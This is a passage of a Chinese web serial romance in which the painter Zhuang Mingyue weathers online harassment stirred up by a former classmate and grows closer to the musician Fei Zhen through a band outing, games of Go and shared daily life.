很快,一些被带了节奏的论坛用户开始将矛头对准了“庄明越”这个名字。他们捕风捉影地议论庄明越的现实生活和退学内幕,更有人不知从哪里找到了庄明越之前两年在有画app接板绘稿件用的画手账号,还借此扒到了庄明越常用的社交账号,开始在下面阴阳怪气,甚至直接开骂。
【就这粉丝量能赚四十万?四十块还差不多!】
【画得这么干净温暖,人却臭不可闻,都说文字能巧言令色,没想到画也是。】
【别画画了,你没天赋,重开吧。】
费臻最先发现了不对劲。
还在学校时,他就很喜欢庄明越画的画,天赋和打磨俱全。
碍于二人那时关系紧张,他就偷偷关注了庄明越在有画的画师账号“明月不照我”,顺带也关注了同名的微博账号。
这天下午,他排练间隙刷手机,照常点进有画和微博,看看庄明越有没有上线新发布作品,一眼就看到了那些突然涌来的恶毒评论。
费臻呼吸一滞,切换页面,给庄明越打了电话:“庄明越,你今天刷微博了吗?”
庄明越手机开了外放,放在一边,正在画萨摩耶的第二幅油画。
先前的画已经结了款项,那夫妻二人特别满意,又从周一那里订购,付了全款,指明继续要庄明越画,挂在他们家主卧,就连周一都很吃惊,觉得庄明越的实力带来了为二人都带来了超级好运。
听到费臻问这种问题,庄明越疑惑地反问:“没啊,一直在画棉花狗,怎么了?”
“……没什么。”费臻顿了顿,“就是最近看你眼睛容易疲劳,少玩手机。晚上我会早点回来,你把米淘了就行。”
庄明越听出了费臻话里的异样。
他放下画笔,拿起手机,登录了微博账号。
私信和评论区的红色提示数字让他愣了一下。
他当然不会觉得自己和视角解构乐队一样一夜爆火,毕竟这个号已经很久没有上传图片,最近他画的都是周编辑那里介绍的画稿。
庄明越深吸一口气,点了进去。
不堪入目的言辞和极尽诋毁的攻击映入眼帘。
翻了一条又一条,在陌生人的攻击中,他很快拼凑还原出一个完整的真相。
庄明越的手指越收越紧,他几乎把手机屏幕捏碎,忘了应该怎么呼吸,心脏绞痛,喘不过气,像在濒死的边缘。
他知道自己这是受了刺激惊恐发作,不会死人,但和要死了一样难受。
电话那头,费臻听不到他的回应,更急了:“庄明越?你说话?你是不是看到什么了?”
“我看到了。”半晌,庄明越开口,缓慢地说,“费臻,你回来的时候不要着急,路上要注意安全……我没事。”
“庄明越,你听我说,别往心里去,那都是赵唐搞的鬼,我已经在联系人了,很快就能澄清。”
费臻的语速比平时快了很多,庄明越听他说完,应了一声,挂断通话。
他一边深呼吸,一边在心中试着抛开那些本不该对准他的炮火。
精神科的医生教了他很多方法,他从最简单的做起,尝试数数字,用粤语数,用法语数,还回想着棋盘上的黑白子,钢琴上的黑白键,同时把画架顶端的公仔摘了下来。
轻轻捏公仔的脸颊,又用力捏公仔的蜜桃臀。
半个小时过后,庄明越大汗淋漓,费臻也赶到了家。
费臻现在有了钥匙,开锁进来后径直冲到了庄明越日常画画的阳台。
“庄明越!”
“费臻,你来得正好。”
庄明越躺在阳台水泥地面上,臂弯里抱着Q版的小费,对费臻笑,“有点脱力,拉我一把。”
费臻看着庄明越惨白的脸和满头的汗,深深吸了一口气,大步走到庄明越面前,动作轻缓地把人搀扶了起来,带回床上。
庄明越嫌衣服脏,不能进被窝:“我得换个衣服。”
“我给你拿。”费臻去衣柜翻找,挑了一件纯白的衬衫,厚薄适中,给庄明越换上,又去拧毛巾。
庄明越开始鼓捣手机。
翻过一堆广告号码,他找出赵唐之前打来的那个号码,回拨了过去。
电话很快被接起。
“喂,明越?费臻那边肯加我回去了?”
赵唐的声音透出一丝得意和心虚。
“赵唐。”庄明越打断他,“把祸水引到我身上,是觉得自己很聪明吗?”
赵唐显然没料到庄明越会如此直接地质问,而且还这么快就锁定了是他。他慌了阵脚,试图狡辩:“明越,你这话说的,我怎么听不懂?”
“你是当我傻,还是当全天下的人都是傻瓜,只有你一个聪明人?”
赵唐闻言,呼吸急促起来:“我没想到,这么点事,你就要跟我撕破脸。”
“这么点事?在你心中如果只是这么点事,你为什么不自己认下,你自己心里有数!”庄明越按了按跳动的太阳穴,接着说,“如果你不好好解决这件事,我不介意让你身边所有的人都清楚,你是什么品种的缩头乌龟!”
电话那头一片死寂,庄明越强硬到近乎凶狠的态度震慑住了赵唐。
在他印象里,庄明越一直是个好拿捏的蠢蛋,被他挑拨两句就能轻信他,和费臻决裂,被陈子深欺负也只会退学一走了之,什么时候变得这么有逻辑和攻击性?
这让他瞬间想到一个人。
费臻。
“明越,你冷静点,”赵唐的声音不自觉带上了讨好,“是他们人肉搜索过了火,有话好商量!”
“你别把什么事都推别人头上,你是始作俑者,”庄明越下了最后通牒,“给你一晚上时间澄清,明早十点,如果我再看到任何关于我的不实信息和恶意攻击,你知道后果。”
说完,他干脆利落地挂了电话,调整了一下姿势,却对上了不知何时站在卧室门口的费臻的目光。
费臻表情很复杂,视线久久落在庄明越的脸上,不愿离开。
“这么
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看着我干嘛?”庄明越摸了摸自己的脸,语气已经恢复了平时的样子,“我已经和赵唐说过了,让他自己看着办。”
费臻走进来,在他面前站定。
半晌,他才缓缓开口,语气带着前所未有的凝重:“刚才,我担心你转躁了。”
“转躁?”庄明越一愣。
“双相情感障碍患者的情绪往往在抑郁和躁狂之间切换。”费臻走到床边坐下,眉头紧锁,“你长期经历抑郁期,如果出现狂躁兴奋、冲动易怒,还有其他症状,很可能就是转变成躁郁症,这种病比单纯的抑郁症难治得多,也很麻烦。”
庄明越看着他眼中真切的担忧,刚才那些被陌生网友追着错骂的惊恐,还有与赵唐电话对峙的郁结,好像消散了不少。
“安啦,费医生,不用给我科普,我知道双相是什么情况。”
“你确定?”
“嗯,真的,这两年诊所医生给的诊断一直都是中度抑郁发作,伴轻度焦虑,但医生夸我说没有变得更糟糕,已经相当不错了。当然也归功于窝窝,它在的时候,我的情绪一直还可以,虽然会跟着它的身体状况波动,但至少从来没有崩溃过。”
庄明越触碰到费臻垂落在床畔的手掌。
那里冰凉一片,和平时灼热的体温毫不相符。
庄明越没有松开,反而紧握住费臻的手,接着说:“我只是和两年前不同,不会再闷声吃亏,觉得自己很懦弱,很想逃。”
“我有想做的事,有要画的画,有需要我保持稳定才能继续的生活,还有期待我继续走下去的人。”
“所以我不会再像以前那样,任由别人欺负到头上。该骂的骂,该反抗的反抗。这不是躁狂,费臻,这是成长,这不一样,是领养窝窝后,它一直带给我力量,也是因为现在有你在。”
费臻静静地听着,紧绷的心弦慢慢松弛下来:“我明白了。你是不是还没吃饭?”
庄明越指向厨房:“饭煮好了,你带菜了吗?”
费臻一愣:“扔在门口了。”
家门口的熟食已经彻底冷却,好在庄明越用稿费结余添置了一台微波炉。
费臻热完菜,二人吃了晚饭,中间简单交流几句,都是一些日常生活中让人开心的趣事。
时间还很早,庄明越想再画一会白色棉花糖狗,费臻却希望他今天早点休息。
最后敲定,画半个小时就早睡。
画画的时间飞速流过,庄明越在费臻的监督下放下画笔,路过客厅时,眼神不由自主地又飘向了靠着墙角放的那张小折叠桌。
桌上正中间放着时间跨度五年的手帐本,暗紫色的封皮带给庄明越一种沉郁的视觉体验,和他在费臻身上所感受到的大不相同。
于是那个关于大片空白的问题,再次浮上心头。
庄明越犹豫了一下,还是问了出来,语气比之前慎重了许多:“费臻,你那本五年日记里,两年前为什么空了那么长一段时间?你当时是遇到什么事了吗?”
费臻僵了一下,声音低沉而平静,却抛出了一个让庄明越始料未及的答案:“如果我说,我变成窝窝了,你信吗?”
庄明越张了张嘴,一时间不知该如何回应。
他定了定神,迎着费臻的目光,很慢但很清晰地说:“理智上来说,我不信。这超出了我的认知范围。”
说到这里,庄明越话锋一转,前所未有的郑重,“但如果你到现在仍然坚持这么说,我愿意相信你。”
他向前走了一小步,拉近了和费臻的距离,目光专注地锁定对方,一字一句地强调:“只是相信你,费臻。因为是你说的。”
费臻的瞳孔微微收缩。
他喉结轻微滚动,声音有些沙哑:“庄明越,你真的……我该用什么态度对待你才好。”
“就现在这样啊,现在挺好的,我觉得。”庄明越试探着,小心翼翼地问,心跳因为期待和不确定而微微加速,还有点想撸一把面前的人,“那段时间的空白,真的是因为你变成了窝窝吗?”
费臻看着他充满探究却又努力保持信任的眼睛,摇了摇头,给出了一个让庄明越再次意外的回答:“很遗憾,并没有。”
他移开视线,自嘲般一笑:“我没有变成窝窝。窝窝是陪了你两年的好兔,这两年我确实什么也没有为你做过。”
“我会空着这么多页,只是因为别的事。引起你的误会,我很抱歉,我不是故意要冒名顶替,只是事出有因。”费臻将庄明越送回了卧室,站在门边,露出一个不是很真切的笑容,“早点休息吧,晚安。”
庄明越所有到了嘴边的疑问都默默地咽了回去。
“费臻,我不问了。你不要不开心,晚安,明天见。”
13. 第 13 章
庄明越在上午九点五十分悠悠转醒,费臻放了温水在他床头。
庄明越吞咽下两粒粉色药片,慢慢看完赵唐在论坛的澄清,陷入了长久的沉默。
赵唐并没有承认是自己蓄意泼脏水转移视线,只是语焉不详地声称之前关于庄明越的那些讨论都是误会,是好兄弟之间沟通不畅导致的,他的本意是想帮庄明越造势,给他的复出增添一点好势头。
赵唐的最后一句是“希望大家多多关注和支持我这位才华横溢老同学的作品”。
这种和赵唐本人情况完全不沾边的说辞自然没能完全平息风波,底下骂他的人更多,但暂时堵住了一些盲目跟风者的嘴,也让庄明越账号的恶意评论骤减,反而有一些网友为先前错骂他的事道歉。
在费臻的同步控评下,庄明越评论和私信里那些剩余的乌烟瘴气的言论都被删了个干净。
视角解构被骂得最狠的时候,正是费臻大二那年,据说那时候费臻都没有操控过评论,现在却是因为庄明越的事搞了这一出。
庄明越心里过意不去:“打破了你的原则和底线,抱歉。”
费臻并不这么想。
“你是受害者,我只是在加速帮你清理本来就不属于你的那部分垃圾。”
冯泰也打了电话过来:“气死个人,庄老师你看到没?那个赵唐绝了,他这操作够我气得敲烂十副鼓棒!神人一个,脸皮比我们排练室的隔音墙还厚!”
费臻靠近庄明越,对着通话那头说:“吐槽完了吗?没什么事先挂了。”
冯泰:“诶等等,重色轻——”
“挂了。”费臻收回手指,“我什么也没干。”
“噗。”庄明越忍不住笑了一声,“没事的,阿太老师是好心。”
“你们两个什么时候交换的联系方式?你干嘛也叫他阿太,他让你这么叫的?”
“他来我微博底下找我。”庄明越回答,又问,“你这是什么表情?”
“吃醋。”费臻脸上的表情精彩纷呈,见庄明越认真看他,连忙转过脸去,留给庄明越一个后脑勺。
庄明越戳他:“你转过来啊。”
半晌,那颗后脑勺闷声说:“他窃夺我的劳动果实了。”
“没有没有。”庄明越连忙把人掰过来,顺毛捋,“我和你第一好。”
“不是死对头了?”
“早就不是了。”
“哦。”意外的很好哄的费臻满意了。
赵唐的风波过后,庄明越反而觉得心里某个角落轻松了一些。
他看着因为这场无妄之灾而翻了两倍关注的画师账号,忽然萌生了一个念头。
既然已经被推到了更多人面前,既然赵唐假惺惺地让人关注他这位老同学的作品,那他何不趁此机会,好好整理一下?
他花了一下午时间,写了一篇事件的前因后果,又重新梳理了有画上的画师主页。
过去为了给窝窝攒医药费,他几乎来者不拒,画得多而杂,单价压得很低,截稿日期也排得极其密集,把自己逼得像台连轴转的机器,甚至还吸引了一些极端挑剔的单主,趁这次机会也跟着一起痛骂他画得垃圾骗钱。
但支持他的粉丝,认为他画得很不错的单主也一直在那里,问他什么时候才能再把橱窗打开。
如今,窝窝不在了,庄明越的生活重心和心态都发生了变化。
他联系了几位在圈内时间更久也更了解市场行情的朋友,请他们帮忙评估。
其中更是有二人说出了他们的肺腑之言。
是银色风暴和星の辉,庄明越过去精神状态不错时,会与他们交流分享画画心得,偶尔也会分享一下日常,这两位都知道窝窝的事,算是他为数不多的密友。
银色风暴:【小月,我完全确信,你就是想画画,特别想画画。普通画手遇到你这种情况,丧子之痛,我这里就这么说了,你别介意,他们可能会休息很长一段时间,像我的好朋友,她更新了八年她家猫猫的条漫,今年猫猫心脏病走后,她就完全不再画画了。我明白宠物离世你有多难受,这么快就重新开始画画,你的专一和坚强,我佩服。】
庄明越看着这条消息,有些汗颜,回复道:【风暴姐,我只是社恐,不想外出打工。】
银色风暴:【不想打工咱们就画!反正你画得就是很可以!之前接单定价低又怎么啦?至少每幅画都认真完成,诚意十足,比那个到处剽窃别人作品的照镜子的唐老鸭好多了!他那个鬼水平敢吹月入几十万?别惹我笑!你知道他们那个细分领域的顶流画手,实际到手才多少,他砸了多少钱在推广上他自己知道。你就画,安心画你的,找准自己的节奏。相信早晚有一天,你的画技会更精进,靠实力获得更多的认可和欢迎。】
星の辉:【明月,人未必要强行突破所谓的舒适区。在确保基本生存的前提下,画自己想画的,一点一点进步,才能获得持续的满足和真正的快乐。慢慢来,支持你。】
看着朋友们真诚的话语,庄明越想了很久应该如何感谢他们,手指敲下大段的文字,又觉得过于煽情,删删改改,最终,只在聊天框里留下了简简单单的一句。
明月不照我:【谢谢你们的信任,我要重新出发了。】
他更新了主页介绍,明确了更擅长的风格方向,调整接稿价格至更合理的区间,并稍稍拉长了截稿周期,强调沟通第一,保质保量。
做完这一切,他感觉长久以来头顶上悬挂着的达摩克里斯之剑不复存在,对未来的创作也有了更从容的期待。
费臻察觉到庄明越经历风波后需要散心,提议:“周末去市郊新开的文创园逛逛?”
“会不会耽误你写歌排练?”
“不用担心我们,别太紧绷了。”费臻拍了一把庄明越的后背,“为热爱的事业努力固然重要,但更重要的是生活。”
“你的生活里有我。”庄明越想到《遇见》这首歌的歌词和基调,默默叹了口气,“都说朋友是一段一段的,如果我哪里做得让你不满意,你不要突然消失不见啊,咱们两个好聚好散。”
“当然了,看在窝窝的面子上,我们两个也不能说散就散。”费臻拍完后背又猛戳庄明越最近涨了点肉的脸颊,“别伤感预演了,我不会走的,说到做到,嗯?”
庄明越攥了攥衣服下摆,咽下了咽喉里的惶恐不安。
原本说好就他们两个人出游,结果不知怎么走漏了风声,冯泰和郭扬嚷嚷着“臻哥不够意思”“带庄老师出去玩怎么能少得了我们”,非要跟来。
两个人来还不够,还各自带上了家属。
于是,原本计划的二人静谧出游,硬生生变成了一场小型的乐队团建。
周末天气晴好,文创园里游人不少。
乐队一行人加上家属,一共六个人,浩浩荡荡,热热闹闹,帅男靓女,十分吸睛。
两位美女相视一笑,都把墨镜摘了。
周双叶:“暗了吧唧的,谁戴这个!”
顾梦:“是啊,我看已经有人认出来了,不过大家都忙着逛,没人找这些臭男人签名。双双宝贝,我们来自拍。”
“好呀,我要发朋友圈的噢,你有什么p图要求先告诉我!”
“把我的肱二头肌p得醒目点,谢谢你。”
郭扬的老婆叫顾梦,人如其名,气质文静知性,一头顺滑的黑长直发,戴着精致的金丝边眼镜,穿着简约的素白色针织长裙,看起来像高校里年轻的讲师或研究员。
顾梦举止大方,谈吐风趣,一聊起天,庄明越才得知,她竟然是一名资深的游戏后端程序员,日常最大的爱好是健身塑形,以及叫上乐队众人逛商场和打麻将。
冯泰的老婆周双叶则完全是另一种风格,黑色皮夹克配铆钉靴,自然卷的短发挑染了一撮蓝色,显得很有个性和活力。
她笑容爽朗,是顾梦最坚固的麻将搭子和队伍里的气氛担当,总能第一时间找到话题,带动大家。
她对庄明越自我介绍是报社记者,同时也兼职做新媒体运营。
更让庄明越意外的是,周双叶笑着说:“庄老师,其实我们早就认识了。视角解构乐队的非官方资讯站和几个核心粉丝后援账号,最早都是我帮着建起来打理的。对了,我还是周一的堂妹,常听我姐提起你。”
庄明越这才恍然,难怪费臻有编辑资源,又难怪周双叶对他格外亲切熟稔。
费臻手指捅了一下庄明越的后背,低声提醒庄明越,可以不用回答周双叶的全部问题,当心被这个不好惹的女人牵着鼻子走。
庄明越摇摇头,他已经很长时间没有认识新朋友,眼下格外的有新鲜感,心口跳个不停,兴奋又紧张。
两位女士凑到一起,不知低声交流着什么,目光不时瞟向并肩走在前面的费臻和庄明越,然后发出一阵意味深长的“嘿嘿”笑声,眼神里闪烁着兴奋的光芒。
庄明越被她们看得有点不自在,费臻倒是面色如常,只是耳根有点不易察觉的红,额头的青筋也有一点爆起。
周双叶主动凑到庄明越身边,好奇地问起绘画的事情,像是油画和板绘各自的痛点。
谈到专业领域,庄明越的话匣子打开了,他斟酌着用词,尽量深入浅出地解释,每讲到专业术语,又会顿一顿,换成大家耳熟能详的大白话。
庄明越说得很认真,眼神专注,随手从包里拿出随身带的素描本和笔,简单画了几笔,乐队的人和旁边慢慢围过来的游客们都露出了然和钦佩的神色。
周双叶感叹:“果然隔行如隔山,比过去我采访过的硬装高深的大师说得清楚多了。”
顾梦点头:“不愧是罗谢的好友。”
庄明越摇摇头,想说这些只是比较基础的解说,但话到嘴边咽了下去。
他多少能感觉到这二人友善的应和,毕竟因为工作的原因,周双叶和顾梦也不可能对绘画一窍不通,她们在各自的领域都是专家。
但他发
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现自己并不排斥这样的交流,甚至能从清晰的表述和对方的理解中获得一种积极的反馈。
这和他之前因为抑郁而回避人群和害怕表达的状态已然不同。
逛到一处颇有设计感的艺术墙前,顾梦举起随身携带的单反相机,提议道:“机会难得,我们来拍一张乐队全家福吧?”
这个提议得到了大家的热烈响应。
众人站好位置,冯泰和郭扬一左一右勾住费臻的肩膀,做出夸张的摇滚手势。
顾梦调整好参数,将相机递给庄明越,和周双叶站到一处:“庄老师,麻烦你帮我们五个人拍一下,你学美术的,构图肯定比我有想法。”
费臻提声说:“放松些,随便拍,人都在框里就行。”
郭扬发出一声笑:“不在框里也没事,反正还能重拍,对吧太?”
冯泰回答:“对的过!”
随后一人被费臻拍了一脑瓜。
庄明越接过沉甸甸的单反,有些手生,但好在拍照和绘画的某些基础原理相通。
他透过取景器,看着镜头前笑容灿烂的众人,调整了角度和光线,连续按了几次快门。
拍完后,周双叶和顾梦凑过来查看效果,对照片里大家生动的表情和完美的脸型角度非常满意。
周双叶称赞:“庄老师技术不错嘛!”
这时,顾梦眼珠一转,笑着对庄明越说:“庄老师也一起拍一张吧?大家都想要完完整整的全家福。”
说着,她拉过一个路过的热心游客,把相机递过去,然后迅速将庄明越推到了乐队三人中间。
庄明越正好被推到费臻身旁,还没反应过来就被安排好了位置。
他有些局促地站直身体,看着对面举起相机的路人。
就在这时,站在他左边的费臻,非常自然地伸出手臂,绕过他的后背,手掌稳稳地搭在了他的右肩上,将他往自己身边带了带,动作随意却带着不容置疑的亲昵。
温热的体温透过衣物传来,庄明越愣了一下,不甘示弱地也抬起自己的左臂,不算特别熟练但足够用力地揽住了费臻精瘦的腰身,手指死死扣上费臻的腰。
他能感觉到手掌下肌肉瞬间的绷紧,然后慢慢放松。
两人身体贴近,姿势如同最熟稔的搭档。
镜头定格,快门声响。
“好了!拍得特别好!”
帮忙拍照的路人把相机还回来,周双叶和顾梦凑过去看,对视一眼,嘴角的笑容都快咧到耳根了,互相交换了一个“磕到了”的眼神。
庄明越松开手,脸上有点热,假装低头看手机,避开费臻可能投来的视线。
费臻也若无其事地收回了手臂,仿佛刚才那亲密的揽肩只是再自然不过的举动。
庄明越点开手机,回复了几条稿主和周编辑发来的工作消息。
处理完正事,手指习惯性地点进了生活缴费的小程序。看着本月水电燃气的待缴金额,他微微怔了一下。
数字比平时高出一大截。
费臻搬进来后,虽然没有大量增加电器,但他那个几乎每晚都要用他网购的充气浴缸,把自己泡得热烘烘香喷喷,再出来找庄明越聊天。
庄明越正盯着屏幕出神,费臻不知何时凑了过来,瞥了一眼他的手机屏幕,立刻明白了。
“这个月的水电燃气,我来付。”费臻说得干脆,伸手就要拿自己手机转账。
“不用。”庄明越按住他的手,动作很快,“说好了不要你房租,这些日常开销我付得起。而且是我让你住进来的,这些当然算我的。”
费臻皱起眉,不太赞同:“但你之前一个人用不了这么多。”
“是之前水管爆了,和你泡不泡澡关系不大。”庄明越打断他,语气带着点玩笑,但态度坚决,“再说了,你平时买菜做饭,不也花了不少?别跟我算这个,再算我就把你赶到粉丝家睡。”
费臻被他堵得没话说,瞪着他看了几秒,发现庄明越眼神认真,没有妥协的意思。
他有点气闷,但又不是真的生气,最终只是没好气地扭过头去:“你决定就好。”
庄明越看着他扭开头的动作,心里却觉得有点好笑,又有点暖。
他知道费臻不是在乎这点钱,而是不想占他便宜,更确切地说费臻总是想用他自己的方式对他好一些。
庄明越领他这个情。
庄明越利落地操作手机,用上手机银行给的券,把各项费用都缴清,然后把支付成功的页面在费臻眼前晃了晃,带着点小得意:“搞定,便宜不少。”
费臻瞥了一眼,唇角勾了起来。
这一幕被不远处的顾梦和周双叶尽收眼底。
顾梦优雅地推了推鼻梁上的金丝眼镜,红唇勾起一抹了然的弧度,对身边的周双叶低声说:“新歌歌词的灵感好像有了呢,叶叶。”
周双叶笑嘻嘻地用手肘撞她一下:“那下一首填词必须加我名字!我也要一起填!”
14. 第 14 章
散完心回去的路上,庄明越和费臻做了不要单独去找赵唐的约定。
此人诡计多端,费臻担心庄明越劳神,再被摆一道,影响情绪。
庄明越点点头,也明白自己眼下的状态找赵唐对峙有一定的风险。
先前庄明越发完那篇情况说明后,单条微博转发过千次,有画app和同名论坛内点赞慢慢破万,支持声援者众多。赵唐不敢冒头,灰溜溜地把账号内容都锁了起来,准备等风波平息再复出圈钱。
费臻看出赵唐打的算盘,去找了赵唐一次。
庄明越不知道他用了什么办法,只知道从那天起,赵唐注销了多平台的接稿ID,还在微博发了一句“要专注现生,进军高端行业”的场面话,关闭了评论区。
后来那个只有一条微博的账号也消失不见,照镜子的唐老鸭至此成了一个圈内笑话。
之后的日子,费臻经常在家,询问过庄明越,听他说不怕吵之后,就会在客厅写歌,配合吉他和编曲软件调音伴奏。
庄明越在不远处的阳台画画。
一人停下来休息,总会找另一人攀谈。
费臻:“我一般没有写不出歌的时候,只要我想。”
庄明越:“我一旦开始画,基本上也很顺。”
当晚,二人一起打了脸。
费臻:“啧,写不出来。”
庄明越:“画得一坨,救命!”
两个人正讨论换脑子的方式,冯泰来电,费臻举着手机问庄明越:“阿太和过儿说想过来一起煮火锅,你想他们过来吗?”
客厅小,没有餐桌,平时和费臻两个人吃饭都在卧室书桌上,最近转移到了费臻四十公分的桌子上,再加两个人和一个大锅完全不够用。
见庄明越面露难色,费臻说了声“懂了”,婉拒了那二人。
郭扬说着“有了新欢忘了旧爱,我要去西西弗书店用知识垫垫肚子”之类的话潜水。
冯泰又挣扎了两下,确定费臻暂时不需要他:“OK,那我陪双叶去米老鼠乐园了,今明两天失联哈。”
庄明越询问:“你们摇滚人都这么居家的吗?”
费臻摊手:“我们凑在一起光讨论小猪佩奇和数字积木的剧情了,你说呢?”
庄明越不知道后面那个是什么,去搜了一下,竟是学龄前儿童最爱节目。
庄明越嘴角抽了一下:“这也算是换脑子吧。”
费臻:“和他们整天看这些都腻了。你想想我们还能做点什么?”
庄明越:“要不下会儿围棋吧。”
费臻沉默片刻:“我不会。”
“这世界上居然有你不会的事情。”
费臻挑眉:“挖苦我?”
“是赞美你多才多艺。”庄明越露出超绝无辜脸,“你要相信我啊。”
费臻拿他没办法,捏了庄明越的脸,问:“那好,有棋吗?你教我我就下。”
庄明越发了一个apk文件给费臻:“装这个。需要我让多少子?”
“不需要。”费臻轻笑一声,对自己很有信心。
二人坐在四十公分小桌的两头,在手机上下棋,庄明越教了费臻基本规则,费臻一点就通,甚至还能举一反三。
但现学的比不过经年累月的积累,费臻连输三盘,还都是没下多少步就被庄明越的白子围死了。
二人下第四局,费臻不再需要最基础的讲解,边下边问:“你什么时候学的围棋?以前没听你提起过。”
“四岁。”
庄明越下得飞快,费臻刚走完一步,他就啪得按在旁边的位置,执子的手势和下棋的姿势非常漂亮利落。
但他并不因为技巧的娴熟而轻慢对手,相反的一直盯着棋局,在脑内提前模拟,攻费臻的城、略费臻的池。
费臻轻声感叹:“童子功啊。”
庄明越下了一步在费臻看来可能是妙手的棋。但这手棋在庄明越这里,只是稀松平常的一步。
费臻想了很久,边考虑下一步棋边问:“谁带你入的门?”
“我妈。”庄明越提起母亲,脸上浮现一点笑意,转而消散,“她是职业九段,很小的时候就定了段,只可惜三十岁出头就病逝了。”
费臻手指一顿:“对不起。”
“这么什么可道歉的。”
“我更照顾你一些就好了。”
庄明越抬起头,诧异地看向他:“已经很照顾了。”
印象里,费臻并不是好管闲事的人,不然他们在校的两年应该还会有更多交集。
“你说五岁开始就没有人亲过你,是这个原因吗?”
“你怎么记得?”
“不知道什么原因,你说过的事,我很难忘掉。”
像是怕被庄明越追问,费臻飞快地问,“那你为什么没有考棋类的学校?”
庄明越:“当然是没这个脑子,我对色彩的感知比每天对着棋盘要好很多很多。”
没这个脑子的庄明越很快又赢了费臻。
费臻关掉围棋软件,半靠在座椅上,透了一大口气:“今天输麻了。”
在他的人生词典里,很少提到输。
“你还是初学者,急什么。”庄明越认真复盘,“接近中盘,已经很好了。”
费臻猛地从座椅上挺起后背。
庄明越:“怎?”
“‘初学者’很好,就决定是歌名了。”
费臻说着,冲回了房间。
庄明越笑了一下,笑容又戛然而止。
费臻是有灵感了,他还卡着呢。
他重新低下头,点开单人对弈模式,自己执黑,又执白,自娱自乐起来。
另一边,顾梦和周双叶填了《唯一嘉宾》的歌词。
歌词中的有一句是“月亮拂照我”,到了下一段的相同部分变成了“月亮独照我”,她们不光填了词,还负责这两句轻声附和的歌唱,让歌曲的层次更加丰富。
新歌定下来之后,乐队全员照例先在排练室找到最佳感觉,再叫上两位女士一起去录音室录歌,途中三个男人还拍了一张宣传海报,行程十分紧凑。
顾梦和周双叶还要上班,录完她们的部分就先走了。剩下三人得了空闲,郭扬说合租礼数要到位,他们得请庄
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明越吃个饭。
费臻没什么意见,冯泰先他一步打电话邀请:“庄老师,我们在你家小区南边六百米新开的串串店,对的对的就叫这名儿!你快来,等你一起点。”
费臻:“……”
庄明越很快赶来爆裂烧烤,袖口上的颜料未干。
在冯泰的盛情劝说下,庄明越扫了餐桌上的二维码,点了一堆名字里带“爆裂”的烤串。
这天因为拍海报,费臻衣品比平时更好,穿得也要少一些,上衣衣摆短,露出一截腰线。
他个子高肤色白,六块薄肌恰到好处,庄明越的目光不自觉往那块领域上靠,费臻发现后,脸上浮现一个梨涡,拉过庄明越的手,塞进他的衣服下摆里。
“别光看。”
庄明越摸到了一手慷慨且富有,不自觉瞪圆了眼。
费臻很满意庄明越的反应,笑得愈发张扬,听到默认铃声响起,又道:“失陪。”
他离开烧烤店,走到人声少的地方接电话。
郭扬凑过去,对庄明越说:“羡慕对吧?六折转你一张健身卡,我和梦梦一起办的,我没坚持下来,和臻哥同一个健身房,你可以找费教练,虽然他穿得像个上班族,但对塑形特别有研究。”
庄明越问:“费教练是费臻的……?”
“他亲哥费治,之前我们乐队的主唱担当。我和阿太大费臻两岁,但是比费治小六岁,费治前脚退出,费臻马上加入,所以我们管费臻叫臻哥臻哥也习惯了,谁当老大谁就是哥。”
冯泰也插了话:“真没想到,臻哥来了之后没两年,我们乐队就爆火了,我和过儿也各自找到了一生挚爱!庄老师,我有预感,《遇见》一定也会大受欢迎,虽然和我们乐队之前的歌风格都不一样,但你的歌词绝对牛逼!”
《遇见》讲的是老友重逢,互相扶持一段路,眼看对方生活更好,在下个路口道别,各自安好,整首歌带着淡淡的温馨和伤感,是首曲调舒缓的抒情慢摇滚歌曲。
庄明越:“好啊,拭目以待。”
庄明越立下了健身flag,当晚就破了,冯泰特别能喝酒,也特别会劝酒。
“为了庆祝咱们臻哥有了新室友!”冯泰激动地表示,“庄老师你可一定得喝!”
“经纪人说场地调整,下场巡演得推迟,具体情况稍后会发我们微信。”费臻接完电话回来,闻言拦住冯泰,“他服药期内,不能碰酒精。”
庄明越摇了摇头:“没关系的,就一杯。”
但他小看了糟烧黄酒的度数。
一杯下去,庄明越整个人都踩在棉花上,费臻什么时候带他回家,给他擦把脸,扶他躺进被窝,他通通都不知道。
只记得中途费臻的手机响起,将他的意识短暂地吵了回来。
费臻看了一眼时间,低声说:“十点了啊。”
他把药喂给庄明越吃,又抚平了盖着庄明越肩膀的被角,转身去客厅睡觉。
庄明越听到费臻在他耳畔道了声“晚安”,于是再度放松下来,重新酝酿睡意。
然而,就在他刚刚睡着时,一声沉闷的响声从客厅传来。
15. 第 15 章
庄明越一个激灵坐了起来,赤脚冲出卧室,按亮了客厅的灯。
费臻连人带被子滚落在地,眉头紧锁,咬着牙关,额头上有一层细密的汗。
“费臻?”庄明越走近两步,蹲下来扶他,“你没事吧?摔到哪里没有?”
费臻的身体猛地一颤,紧闭的眼睛倏地睁开。
庄明越被他吓了一跳,像被人踩了尾巴的猫,猛地退开两步,又小步上前。
“费臻?难道你被兔子夺舍了吗?”
“没有,让你失望了。”费臻笑了两声,手掌不经意地揉着后腰,“我摔下来吵醒你了?”
“没吵醒!也没失望!”庄明越蹲下身扶他,“这么大的人了,怎么还能从床上掉下来?”
“那你得问床。”费臻一手撑地,一手扶着后腰,在庄明越的支撑下慢慢起身。
庄明越第一次认真观察费臻精挑细选的床,发现虽贵但小。
为了尽可能不占用出租屋客厅的空间,这张床很窄,长度也比普通的两米床短一截。
小个子的人睡还行,庄明越身高一米八四,想了想如果是他,躺在上面脚都在床外面,很难想象接近一米九的费臻每天都是怎么睡的,怕是要蜷成煮熟的虾子。
而且费臻现在身体在不自觉地打颤,好像很疼的样子。
庄明越轻声询问:“你要不要睡我的床?”
费臻明显愣住了,抬头看他,眼神古怪。
“我是说,我们两个换换,我看到你揉腰了,你是不是吉他抱久了腰疼?”庄明越看着费臻非常不对劲的眼神,连忙解释,“你睡我那个会舒服点!” 他越说越乱,最后干脆破罐破摔,“反正我就是比你矮一丢丢,睡你的床也不会有问题,怎样!”
客厅里陷入诡异的寂静。
费臻看了庄明越一会儿,似乎在考量庄明越的身高和自己这张床的适配程度。
最终,他扶着床站了起来,嘴唇慢慢地吐出两个字:“我冷。”
毕竟费臻闻着挺香,庄明越毫不排斥,他很积极地说:“那我的被子也换给你。”
“我们挤挤。”
“?”
费臻说完“挤挤”,抱起自己那床被子,往庄明越的卧室走去,步伐不太稳,但很坚决。
庄明越思考了一下,跟回卧室。
